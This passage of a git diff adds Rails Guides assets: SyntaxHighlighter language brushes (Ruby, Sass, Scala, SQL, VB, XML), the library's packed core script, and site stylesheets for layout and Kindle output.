+			{ regex: new RegExp(this.getKeywords(builtins), 'gm'),		css: 'color1' }			// builtins
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['ruby', 'rails', 'ror', 'rb'];
+
+	SyntaxHighlighter.brushes.Ruby = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js b/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
new file mode 100644
index 0000000..aa04da0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushSass.js
@@ -0,0 +1,94 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		function getKeywordsCSS(str)
+		{
+			return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
+		};
+	
+		function getValuesCSS(str)
+		{
+			return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
+		};
+
+		var keywords =	'ascent azimuth background-attachment background-color background-image background-position ' +
+						'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
+						'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
+						'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
+						'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
+						'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
+						'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
+						'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
+						'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
+						'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
+						'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
+						'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
+						'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
+						'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
+		
+		var values =	'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
+						'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
+						'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero digits disc dotted double '+
+						'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
+						'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
+						'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
+						'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
+						'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
+						'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
+						'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
+						'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
+						'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
+						'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
+						'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
+		
+		var fonts =		'[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
+		
+		var statements		= '!important !default';
+		var preprocessor	= '@import @extend @debug @warn @if @for @while @mixin @include';
+		
+		var r = SyntaxHighlighter.regexLib;
+		
+		this.regexList = [
+			{ regex: r.multiLineCComments,								css: 'comments' },		// multiline comments
+			{ regex: r.singleLineCComments,								css: 'comments' },		// singleline comments
+			{ regex: r.doubleQuotedString,								css: 'string' },		// double quoted strings
+			{ regex: r.singleQuotedString,								css: 'string' },		// single quoted strings
+			{ regex: /\#[a-fA-F0-9]{3,6}/g,								css: 'value' },			// html colors
+			{ regex: /\b(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)\b/g,			css: 'value' },			// sizes
+			{ regex: /\$\w+/g,											css: 'variable' },		// variables
+			{ regex: new RegExp(this.getKeywords(statements), 'g'),		css: 'color3' },		// statements
+			{ regex: new RegExp(this.getKeywords(preprocessor), 'g'),	css: 'preprocessor' },	// preprocessor
+			{ regex: new RegExp(getKeywordsCSS(keywords), 'gm'),		css: 'keyword' },		// keywords
+			{ regex: new RegExp(getValuesCSS(values), 'g'),				css: 'value' },			// values
+			{ regex: new RegExp(this.getKeywords(fonts), 'g'),			css: 'color1' }			// fonts
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['sass', 'scss'];
+
+	SyntaxHighlighter.brushes.Sass = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js b/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
new file mode 100644
index 0000000..4b0b6f0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushScala.js
@@ -0,0 +1,51 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Yegor Jbanov and David Bernard.
+	
+		var keywords =	'val sealed case def true trait implicit forSome import match object null finally super ' +
+						'override try lazy for var catch throw type extends class while with new final yield abstract ' +
+						'else do if return protected private this package false';
+
+		var keyops =	'[_:=><%#@]+';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,			css: 'comments' },	// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,				css: 'comments' },	// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString,	css: 'string' },	// multi-line strings
+			{ regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString,    css: 'string' },	// double-quoted string
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,				css: 'string' },	// strings
+			{ regex: /0x[a-f0-9]+|\d+(\.\d+)?/gi,								css: 'value' },		// numbers
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),				css: 'keyword' },	// keywords
+			{ regex: new RegExp(keyops, 'gm'),									css: 'keyword' }	// scala keyword
+			];
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['scala'];
+
+	SyntaxHighlighter.brushes.Scala = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js b/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
new file mode 100644
index 0000000..5c2cd88
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushSql.js
@@ -0,0 +1,66 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var funcs	=	'abs avg case cast coalesce convert count current_timestamp ' +
+						'current_user day isnull left lower month nullif replace right ' +
+						'session_user space substring sum system_user upper user year';
+
+		var keywords =	'absolute action add after alter as asc at authorization begin bigint ' +
+						'binary bit by cascade char character check checkpoint close collate ' +
+						'column commit committed connect connection constraint contains continue ' +
+						'create cube current current_date current_time cursor database date ' +
+						'deallocate dec decimal declare default delete desc distinct double drop ' +
+						'dynamic else end end-exec escape except exec execute false fetch first ' +
+						'float for force foreign forward free from full function global goto grant ' +
+						'group grouping having hour ignore index inner insensitive insert instead ' +
+						'int integer intersect into is isolation key last level load local max min ' +
+						'minute modify move name national nchar next no numeric of off on only ' +
+						'open option order out output partial password precision prepare primary ' +
+						'prior privileges procedure public read real references relative repeatable ' +
+						'restrict return returns revoke rollback rollup rows rule schema scroll ' +
+						'second section select sequence serializable set size smallint static ' +
+						'statistics table temp temporary then time timestamp to top transaction ' +
+						'translation trigger true truncate uncommitted union unique update values ' +
+						'varchar varying view when where with work';
+
+		var operators =	'all and any between cross in join like not null or outer some';
+
+		this.regexList = [
+			{ regex: /--(.*)$/gm,												css: 'comments' },			// one line and multiline comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineDoubleQuotedString,	css: 'string' },			// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.multiLineSingleQuotedString,	css: 'string' },			// single quoted strings
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),				css: 'color2' },			// functions
+			{ regex: new RegExp(this.getKeywords(operators), 'gmi'),			css: 'color1' },			// operators and such
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),				css: 'keyword' }			// keyword
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['sql'];
+
+	SyntaxHighlighter.brushes.Sql = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
+
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js b/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
new file mode 100644
index 0000000..be845dc
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushVb.js
@@ -0,0 +1,56 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'AddHandler AddressOf AndAlso Alias And Ansi As Assembly Auto ' +
+						'Boolean ByRef Byte ByVal Call Case Catch CBool CByte CChar CDate ' +
+						'CDec CDbl Char CInt Class CLng CObj Const CShort CSng CStr CType ' +
+						'Date Decimal Declare Default Delegate Dim DirectCast Do Double Each ' +
+						'Else ElseIf End Enum Erase Error Event Exit False Finally For Friend ' +
+						'Function Get GetType GoSub GoTo Handles If Implements Imports In ' +
+						'Inherits Integer Interface Is Let Lib Like Long Loop Me Mod Module ' +
+						'MustInherit MustOverride MyBase MyClass Namespace New Next Not Nothing ' +
+						'NotInheritable NotOverridable Object On Option Optional Or OrElse ' +
+						'Overloads Overridable Overrides ParamArray Preserve Private Property ' +
+						'Protected Public RaiseEvent ReadOnly ReDim REM RemoveHandler Resume ' +
+						'Return Select Set Shadows Shared Short Single Static Step Stop String ' +
+						'Structure Sub SyncLock Then Throw To True Try TypeOf Unicode Until ' +
+						'Variant When While With WithEvents WriteOnly Xor';
+
+		this.regexList = [
+			{ regex: /'.*$/gm,										css: 'comments' },			// one line comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,	css: 'string' },			// strings
+			{ regex: /^\s*#.*$/gm,									css: 'preprocessor' },		// preprocessor tags like #region and #endregion
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),	css: 'keyword' }			// vb keyword
+			];
+
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['vb', 'vbnet'];
+
+	SyntaxHighlighter.brushes.Vb = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js b/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
new file mode 100644
index 0000000..69d9fd0
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushXml.js
@@ -0,0 +1,69 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		function process(match, regexInfo)
+		{
+			var constructor = SyntaxHighlighter.Match,
+				code = match[0],
+				tag = new XRegExp('(<|<)[\\s\\/\\?]*(?<name>[:\\w-\\.]+)', 'xg').exec(code),
+				result = []
+				;
+		
+			if (match.attributes != null) 
+			{
+				var attributes,
+					regex = new XRegExp('(?<name> [\\w:\\-\\.]+)' +
+										'\\s*=\\s*' +
+										'(?<value> ".*?"|\'.*?\'|\\w+)',
+										'xg');
+
+				while ((attributes = regex.exec(code)) != null) 
+				{
+					result.push(new constructor(attributes.name, match.index + attributes.index, 'color1'));
+					result.push(new constructor(attributes.value, match.index + attributes.index + attributes[0].indexOf(attributes.value), 'string'));
+				}
+			}
+
+			if (tag != null)
+				result.push(
+					new constructor(tag.name, match.index + tag[0].indexOf(tag.name), 'keyword')
+				);
+
+			return result;
+		}
+	
+		this.regexList = [
+			{ regex: new XRegExp('(\\<|<)\\!\\[[\\w\\s]*?\\[(.|\\s)*?\\]\\](\\>|>)', 'gm'),			css: 'color2' },	// <![ ... [ ... ]]>
+			{ regex: SyntaxHighlighter.regexLib.xmlComments,												css: 'comments' },	// <!-- ... -->
+			{ regex: new XRegExp('(<|<)[\\s\\/\\?]*(\\w+)(?<attributes>.*?)[\\s\\/\\?]*(>|>)', 'sg'), func: process }
+		];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['xml', 'xhtml', 'xslt', 'html'];
+
+	SyntaxHighlighter.brushes.Xml = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shCore.js b/guides/assets/javascripts/syntaxhighlighter/shCore.js
new file mode 100644
index 0000000..b47b645
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shCore.js
@@ -0,0 +1,17 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('K M;I(M)1S 2U("2a\'t 4k M 4K 2g 3l 4G 4H");(6(){6 r(f,e){I(!M.1R(f))1S 3m("3s 15 4R");K a=f.1w;f=M(f.1m,t(f)+(e||""));I(a)f.1w={1m:a.1m,19:a.19?a.19.1a(0):N};H f} [...]
diff --git a/guides/assets/stylesheets/fixes.css b/guides/assets/stylesheets/fixes.css
new file mode 100644
index 0000000..bf86b29
--- /dev/null
+++ b/guides/assets/stylesheets/fixes.css
@@ -0,0 +1,16 @@
+/*
+  Fix a rendering issue affecting WebKits on Mac.
+  See https://github.com/lifo/docrails/issues#issue/16 for more information.
+*/
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  line-height: 1.25em !important;
+}
diff --git a/guides/assets/stylesheets/kindle.css b/guides/assets/stylesheets/kindle.css
new file mode 100644
index 0000000..b26cd17
--- /dev/null
+++ b/guides/assets/stylesheets/kindle.css
@@ -0,0 +1,11 @@
+p { text-indent: 0; }
+
+p, H1, H2, H3, H4, H5, H6, H7, H8, table { margin-top: 1em;}
+
+.pagebreak { page-break-before: always; }
+#toc H3 {
+  text-indent: 1em;
+}
+#toc .document {
+  text-indent: 2em;
+}
\ No newline at end of file
diff --git a/guides/assets/stylesheets/main.css b/guides/assets/stylesheets/main.css
new file mode 100644
index 0000000..898f9ff
--- /dev/null
+++ b/guides/assets/stylesheets/main.css
@@ -0,0 +1,710 @@
+/* Guides.rubyonrails.org */
+/* Main.css */
+/* Created January 30, 2009 */
+/* Modified February 8, 2009
+--------------------------------------- */
+
+/* General
+--------------------------------------- */
+
+.left {float: left; margin-right: 1em;}
+.right {float: right; margin-left: 1em;}
+ at media screen and (max-width: 480px) {
+  .left, .right { float: none; }
+}
+.small {font-size: smaller;}
+.large {font-size: larger;}
+.hide {display: none;}
+
+li ul, li ol { margin:0 1.5em; }
+ul, ol { margin: 0 1.5em 1.5em 1.5em; }
+
+ul { list-style-type: disc; }
+ol { list-style-type: decimal; }
+
+dl { margin: 0 0 1.5em 0; }
+dl dt { font-weight: bold; }
+dd { margin-left: 1.5em;}
+
+pre, code {
+  font-size: 1em;
+  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace;
+  line-height: 1.5;
+  margin: 1.5em 0;
+  overflow: auto;
+  color: #222;
+}
+pre,tt,code,.note>p {
+ white-space: pre-wrap;       /* css-3 */
+ white-space: -moz-pre-wrap !important;  /* Mozilla, since 1999 */
+ white-space: -pre-wrap;      /* Opera 4-6 */
+ white-space: -o-pre-wrap;    /* Opera 7 */
+ word-wrap: break-word;       /* Internet Explorer 5.5+ */
+}
+
+abbr, acronym { border-bottom: 1px dotted #666; }
+address { margin: 0 0 1.5em; font-style: italic; }
+del { color:#666; }
+
+blockquote { margin: 1.5em; color: #666; font-style: italic; }
+strong { font-weight: bold; }
+em, dfn { font-style: italic; }
+dfn { font-weight: bold; }
+sup, sub { line-height: 0; }
+p {margin: 0 0 1.5em;}
+
+label { font-weight: bold; }
+fieldset { padding:1.4em; margin: 0 0 1.5em 0; border: 1px solid #ccc; }
+legend { font-weight: bold; font-size:1.2em; }
+
+input.text, input.title,
+textarea, select {
+  margin:0.5em 0;
+  border:1px solid #bbb;
+}
+
+table {
+  margin: 0 0 1.5em;
+  border: 2px solid #CCC;
+  background: #FFF;
+  border-collapse: collapse;
+}
+
+table th, table td {
+  padding: 0.25em 1em;
+  border: 1px solid #CCC;
+  border-collapse: collapse;
+}
+
+table th {
+  border-bottom: 2px solid #CCC;
+  background: #EEE;
+  font-weight: bold;
+  padding: 0.5em 1em;
+}
+
+img {
+  max-width: 100%;
+}
+
+
+/* Structure and Layout
+--------------------------------------- */
+
+body {
+  text-align: center;
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 87.5%;
+  line-height: 1.5em;
+  background: #fff;
+  color: #999;
+}
+
+.wrapper {
+  text-align: left;
+  margin: 0 auto;
+  max-width: 960px;
+  padding: 0 1em;
+}
+
+.red-button {
+  display: inline-block;
+  border-top: 1px solid rgba(255,255,255,.5);
+  background: #751913;
+  background: -webkit-gradient(linear, left top, left bottom, from(#c52f24), to(#751913));
+  background: -webkit-linear-gradient(top, #c52f24, #751913);
+  background: -moz-linear-gradient(top, #c52f24, #751913);
+  background: -ms-linear-gradient(top, #c52f24, #751913);
+  background: -o-linear-gradient(top, #c52f24, #751913);
+  padding: 9px 18px;
+  -webkit-border-radius: 11px;
+  -moz-border-radius: 11px;
+  border-radius: 11px;
+  -webkit-box-shadow: rgba(0,0,0,1) 0 1px 0;
+  -moz-box-shadow: rgba(0,0,0,1) 0 1px 0;
+  box-shadow: rgba(0,0,0,1) 0 1px 0;
+  text-shadow: rgba(0,0,0,.4) 0 1px 0;
+  color: white;
+  font-size: 15px;
+  font-family: Helvetica, Arial, Sans-Serif;
+  text-decoration: none;
+  vertical-align: middle;
+  cursor: pointer;
+}
+.red-button:active {
+  border-top: none;
+  padding-top: 10px;
+  background: -webkit-gradient(linear, left top, left bottom, from(#751913), to(#c52f24));
+  background: -webkit-linear-gradient(top, #751913, #c52f24);
+  background: -moz-linear-gradient(top, #751913, #c52f24);
+  background: -ms-linear-gradient(top, #751913, #c52f24);
+  background: -o-linear-gradient(top, #751913, #c52f24);
+}
+
+#topNav {
+  padding: 1em 0;
+  color: #565656;
+  background: #222;
+}
+
+.s-hidden {
+  display: none;
+}
+
+ at media screen and (min-width: 1025px) {
+  .more-info-button {
+    display: none;
+  }
+  .more-info-links {
+    list-style: none;
+    display: inline;
+    margin: 0;
+  }
+
+  .more-info {
+    display: inline-block;
+  }
+  .more-info:after {
+    content: " |";
+  }
+
+  .more-info:last-child:after {
+    content: "";
+  }
+}
+
+ at media screen and (max-width: 1024px) {
+  #topNav .wrapper { text-align: center; }
+  .more-info-button {
+    position: relative;
+    z-index: 25;
+  }
+
+  .more-info-label {
+    display: none;
+  }
+
+  .more-info-container {
+    position: absolute;
+    top: .5em;
+    z-index: 20;
+    margin: 0 auto;
+    left: 0;
+    right: 0;
+    width: 20em;
+  }
+
+  .more-info-links {
+    display: block;
+    list-style: none;
+    background-color: #c52f24;
+    border-radius: 5px;
+    padding-top: 5.25em;
+    border: 1px #980905 solid;
+  }
+  .more-info-links.s-hidden {
+    display: none;
+  }
+  .more-info {
+    padding: .75em;
+    border-top: 1px #980905 solid;
+  }
+  .more-info a, .more-info a:link, .more-info a:visited {
+    display: block;
+    color: white;
+    width: 100%;
+    height: 100%;
+    text-decoration: none;
+    text-transform: uppercase;
+  }
+}
+
+#header {
+  background: #c52f24 url(../images/header_tile.gif) repeat-x;
+  color: #FFF;
+  padding: 1.5em 0;
+  z-index: 99;
+}
+
+#feature {
+  background: #d5e9f6 url(../images/feature_tile.gif) repeat-x;
+  color: #333;
+  padding: 0.5em 0 1.5em;
+}
+
+#container {
+  color: #333;
+  padding: 0.5em 0 1.5em 0;
+}
+
+#mainCol {
+  max-width: 630px;
+  margin-left: 2em;
+}
+
+#subCol {
+  position: absolute;
+  z-index: 0;
+  top: 21px;
+  right: 0;
+  background: #FFF;
+  padding: 1em 1.5em 1em 1.25em;
+  width: 17em;
+  font-size: 0.9285em;
+  line-height: 1.3846em;
+  margin-right: 1em;
+}
+
+
+ at media screen and (max-width: 800px) {
+  #subCol {
+    position: static;
+    width: inherit;
+    margin-left: -1em;
+    margin-right: 0;
+    padding-right: 1.25em;
+  }
+}
+
+#extraCol {display: none;}
+
+#footer {
+  padding: 2em 0;
+  background: #222 url(../images/footer_tile.gif) repeat-x;
+}
+#footer .wrapper {
+  padding-left: 1em;
+  max-width: 960px;
+}
+
+#header .wrapper, #topNav .wrapper, #feature .wrapper {padding-left: 1em; max-width: 960px;}
+#feature .wrapper {max-width: 640px; padding-right: 23em; position: relative; z-index: 0;}
+
+ at media screen and (max-width: 800px) {
+  #feature .wrapper { padding-right: 0; }
+}
+
+/* Links
+--------------------------------------- */
+
+a, a:link, a:visited {
+  color: #ee3f3f;
+  text-decoration: underline;
+}
+
+#mainCol a, #subCol a, #feature a {color: #980905;}
+#mainCol a code, #subCol a code, #feature a code {color: #980905;}
+
+/* Navigation
+--------------------------------------- */
+
+.nav {
+  margin: 0;
+  padding: 0;
+  list-style: none;
+  float: right;
+  margin-top: 1.5em;
+  font-size: 1.2857em;
+}
+
+.nav .nav-item {color: #FFF; text-decoration: none;}
+.nav .nav-item:hover {text-decoration: underline;}
+
+.guides-index-large, .guides-index-small .guides-index-item {
+  padding: 0.5em 1.5em;
+  border-radius: 1em;
+  -webkit-border-radius: 1em;
+  -moz-border-radius: 1em;
+  background: #980905;
+  position: relative;
+  color: white;
+}
+
+.guides-index .guides-index-item {
+  background: #980905 url(../images/nav_arrow.gif) no-repeat right top;
+  padding-right: 1em;
+  position: relative;
+  z-index: 15;
+  padding-bottom: 0.125em;
+}
+
+.guides-index:hover .guides-index-item, .guides-index .guides-index-item:hover {
+  background-position: right -81px;
+  text-decoration: underline !important;
+}
+
+ at media screen and (min-width: 481px) {
+  .nav {
+    float: right;
+    margin-top: 1.5em;
+    font-size: 1.2857em;
+  }
+  .nav>li {
+    display: inline;
+    margin-left: 0.5em;
+  }
+  .guides-index.guides-index-small {
+    display: none;
+  }
+}
+
+ at media screen and (max-width: 480px) {
+  .nav {
+    float: none;
+    width: 100%;
+    text-align: center;
+  }
+  .nav .nav-item {
+    display: block;
+    margin: 0;
+    width: 100%;
+    background-color: #980905;
+    border: solid 1px #620c04;
+    border-top: 0;
+    padding: 15px 0;
+    text-align: center;
+  }
+  .nav .nav-item, .nav-item.guides-index-item {
+    text-transform: uppercase;
+  }
+  .nav .nav-item:first-child, .nav-item.guides-index-small {
+    border-top: solid 1px #620c04;
+  }
+  .guides-index.guides-index-small {
+    display: block;
+    margin-top: 1.5em;
+  }
+  .guides-index.guides-index-large {
+    display: none;
+  }
+  .guides-index-small .guides-index-item {
+    font: inherit;
+    padding-left: .75em;
+    font-size: .95em;
+    background-position: 96% -65px;
+    -webkit-appearance: none;
+  }
+}
+
+#guides {
+  width: 27em;
+  display: block;
+  background: #980905;
+  border-radius: 1em;
+  -webkit-border-radius: 1em;
+  -moz-border-radius: 1em;
+  -webkit-box-shadow: 0.25em 0.25em 1em rgba(0,0,0,0.25);
+  -moz-box-shadow: rgba(0,0,0,0.25) 0.25em 0.25em 1em;
+  color: #f1938c;
+  padding: 1.5em 2em;
+  position: absolute;
+  z-index: 10;
+  top: -0.25em;
+  right: 0;
+  padding-top: 2em;
+}
+
+#guides dt, #guides dd {
+  font-weight: normal;
+  font-size: 0.722em;
+  margin: 0;
+  padding: 0;
+}
+#guides dt {padding:0; margin: 0.5em 0 0;}
+#guides a {color: #FFF; background: none !important; text-decoration: none;}
+#guides a:hover {text-decoration: underline;}
+#guides .L, #guides .R {float: left; width: 50%; margin: 0; padding: 0;}
+#guides .R {float: right;}
+#guides hr {
+  display: block;
+  border: none;
+  height: 1px;
+  color: #f1938c;
+  background: #f1938c;
+}
+
+/* Headings
+--------------------------------------- */
+
+h1 {
+  font-size: 2.5em;
+  line-height: 1em;
+  margin: 0.6em 0 .2em;
+  font-weight: bold;
+}
+
+h2 {
+  font-size: 2.1428em;
+  line-height: 1em;
+  margin: 0.7em 0 .2333em;
+  font-weight: bold;
+}
+
+ at media screen and (max-width: 480px) {
+  h2 {
+    font-size: 1.45em;
+  }
+}
+
+h3 {
+  font-size: 1.7142em;
+  line-height: 1.286em;
+  margin: 0.875em 0 0.2916em;
+  font-weight: bold;
+}
+
+ at media screen and (max-width: 480px) {
+  h3 {
+    font-size: 1.45em;
+  }
+}
+
+h4 {
+  font-size: 1.2857em;
+  line-height: 1.2em;
+  margin: 1.6667em 0 .3887em;
+  font-weight: bold;
+}
+
+h5 {
+  font-size: 1em;
+  line-height: 1.5em;
+  margin: 1em 0 .5em;
+  font-weight: bold;
+}
+
+h6 {
+  font-size: 1em;
+  line-height: 1.5em;
+  margin: 1em 0 .5em;
+  font-weight: normal;
+}
+
+.section {
+  padding-bottom: 0.25em;
+  border-bottom: 1px solid #999;
+}
+
+/* Content
+--------------------------------------- */
+
+.pic {
+  margin: 0 2em 2em 0;
+}
+
+#topNav strong {color: #999; margin-right: 0.5em;}
+#topNav strong a {color: #FFF;}
+
+#header h1 {
+  float: left;
+  background: url(../images/rails_guides_logo.gif) no-repeat;
+  width: 297px;
+  text-indent: -9999em;
+  margin: 0;
+  padding: 0;
+}
+
+ at media screen and (max-width: 480px) {
